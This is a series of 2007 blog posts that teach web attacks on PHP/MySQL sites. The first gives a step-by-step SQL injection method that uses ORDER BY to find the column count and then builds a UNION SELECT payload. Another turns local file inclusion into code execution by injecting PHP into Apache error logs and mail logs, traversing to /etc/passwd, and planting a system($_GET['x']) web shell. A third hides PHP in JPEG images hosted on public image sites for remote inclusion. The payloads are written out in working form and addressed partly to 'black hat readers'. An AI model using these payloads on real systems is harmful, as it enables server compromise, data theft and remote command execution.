Tuesday, August 7, 2007

Union select column count

A lot of people seem to be asking around for a way to detect the amount of columns needed for a successful 'union select' injection. It might be old news for a lot of people, but others are still wrestling with pure guessing. So here goes nothing ;)

When trying to execute a union select, make sure you are on a mysql 4 or higher server! Union selects will not work on mysql 3 or lower.

O.k. let's take the following news query:
SELECT * FROM `news` WHERE `news_id` = 121

The URL to access this query is: /news.php?news_id=121

So our injection point in this query is: '121'.

Now lets find out if the news_id is injectable
test: /news.php?news_id=121 and 1=1
result needed: success

test: /news.php?news_id=121 and 1=0
result needed: empty page

version 4 or higher?
test: /news.php?news_id=121 and version() >= 4
result needed: success

Now comes the cool part. We know we can order data using column names, but we can also order our result set using column numbers. We can use this knowledge to test the amount of columns used in the query.

Does the column / order trick work? (order by first column)
test: /news.php?news_id=121 order by 1/*
result needed: success

More than 10 columns?
test: /news.php?news_id=121 order by 10/*
result needed: success / failure, based on the amount of columns.

More than 20 columns?
test: /news.php?news_id=121 order by 20/*
result needed: success / failure, based on the amount of columns.

etc...

Now lets say there were 12 columns in the news table.
test: /news.php?news_id=121 order by 11/* -- Succeeded
test: /news.php?news_id=121 order by 12/* -- Succeeded
test: /news.php?news_id=121 order by 13/* -- Failed

Joy! so 12 it is. Now you can easily inject your union select query. ;)
Union Select: /news.php?news_id=12 and 1=0 union select 1,2,3,4,5,6,7,8,9,10,11,12/*

Good luck ;)

Saturday, August 4, 2007

local file inclusion tricks

I keep on ranting about file inclusion while this is not something we see every day. I promise this will be my last post on this subject for a while :)

First off, if you did no reconnaissance and you don't really know where you are on the file system but you do know where to go, don't worry about the amount of ../ you're using. You can't go beyond the root of the file system, the rest of the ../'s will just be ignored. So if you are in /var/www/vhosts/domain.com/httpdocs and you try to include ../../../../../../../../../../etc/passwd, it will work fine.

Now to actually include some PHP code! There are a few things you can do. Of course you could try to include external files, which would be the easy way to go.. but some administrators turn this feature off in the php.ini.


// ----- 1: apache error_log injection -----
Inject php code in the apache error log.
$ telnet xxx.xxx.xxx.xxx 80
Trying xxx.xxx.xxx.xxx...

Connected to xxx.xxx.xxx.xxx.
Escape character is '^]'.
GET /< ?php phpinfo(); ? > HTTP/1.0

After that you can include the error log file. The embedde PHP code will be executed. a few places to look for the error log file:
/var/log/httpd/error_log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
etc..


// ----- 2: Malicious image upload -----
When the website allows its users to upload images (like avatars). You could use the method explained in my previous post: "'Safe' remote file inclusion" to upload a malicious image.


// ----- 3: Send e-mail -----
This is actually pretty hard to exploit, although it IS possible. You could of course try to send an e-mail to the web server user (e.g. apache@hostname) and include /var/spool/mail/apache. This method never worked for me, and i don't think any up-to-date linux system supports this 'feature'.

The second method is somewhat elaborate. I will explain it using qmail examples, but most mail servers support this feature.

You will need to include the maillog file. This is often located at /var/log/maillog. Now to inject some php code, look at the following example:

root@test:/# telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 hidden.domain.com ESMTP
HELO
250 hidden.domain.com
MAIL FROM: anything < ?phpinfo();? >
250 ok
RCPT TO: non-existing@user.com
250 ok
DATA
354 go ahead
Subject: phpInjectionTest
.
250 ok 1186501618 qp 7063
quit
221 hidden.domain.com
Connection closed by foreign host.
root@test:/# grep phpinfo /var/log/maillog
Aug 7 17:46:59 test qmail: 1186501618.685225 info msg 3903353: bytes 198 from < ?phpinfo();? > qp 7086 uid 2020
Aug 7 17:46:59 test qmail-remote-handlers[7090]: from=?php-phpinfo();?
root@test:/# echo "< ?phpinfo();? >" | php

The above steps are:

  1. Telnet into the mail server.
  2. Fake the sender address: Anything < ?phpinfo();? >. (Spaces are replaced by underscores. So you need to prevent those.)
  3. Look for the phpinfo string in the log file
  4. Test it in PHP
The third method, is to send a real email, to a real user, and include the mail file. This might be a bit hard because you will have to guess the filename. The default location for the qmail files is:
/var/qmail/mailnames/[domain.com]/[user]/Maildir/new/.
And the files look like: 1186501037.4564.server.domain.com. (Meaning [timestamp].[PID].[hostname])

The filename can be guessed using the maillog, the approximate timestamp and PID will show up in this log file. Although its pretty hard to read if you're not familiar with this log format.


// ----- Conclusion -----
There are a lot of cool ways to include PHP snippets on a vulnerable server, the easiest one is to write it to the error_log file. This file is written by the web server, and easily accessible (without the open_basedir restrictions of course).

// ----- What to inject?! -----
The best start is to inject something like:
< ?system($_GET['x']);? >
This allows you to execute any command on the server using the x _GET value. After that you're practically in.

Friday, August 3, 2007

'Safe' remote file inclusion

As mentioned in my previous post: "PHP Image uploaders", It is possible to embed PHP code in a normal jpeg image. With the valid extension this will upload in any image upload script. It will be treated like any normal image. The embedded PHP code will stay untouched unless the image is resized or pulled through imageMagick / GDlib for any reason. These libs will not trigger any errors, they just strip of the excess data (meaning the embedded PHP code ;)

When executing or including these PHP files. The image data blob will be printed to the screen, this is slightly annoying.. but the PHP code will also be executed. Some black hat readers might see the opportunity here. When you find a remote file inclusion, and you want to inject some PHP code, its often tricky to host in on:
1. Your own server
2. A 'hacked' server (which i don't know anything about)

So a simple option might be: write your PHP script, embed into a jpeg file, and host it on any open image upload server. I tested it on imageshack, and it seems to work there. The only requirement is that the file should not be resized or changed in any way.

After this you can include the .jpg file. And the PHP code embedded in the image will be executed.

Here is a simple test you can run:
Get your favorite image.. called image.jpg and go a little something like this:
$ echo "< ?php phpinfo(); ? >" >> image.jpg
$ echo "< ?php include('image.jpg') ? >" > test.php


Now open test.php in your browser, and behold! phpinfo() output.. with a bunch of nasty binary characters above it.

Here is a demo file containing phpinfo(): http://img258.imageshack.us/img258/3822/gnarfmh9.jpg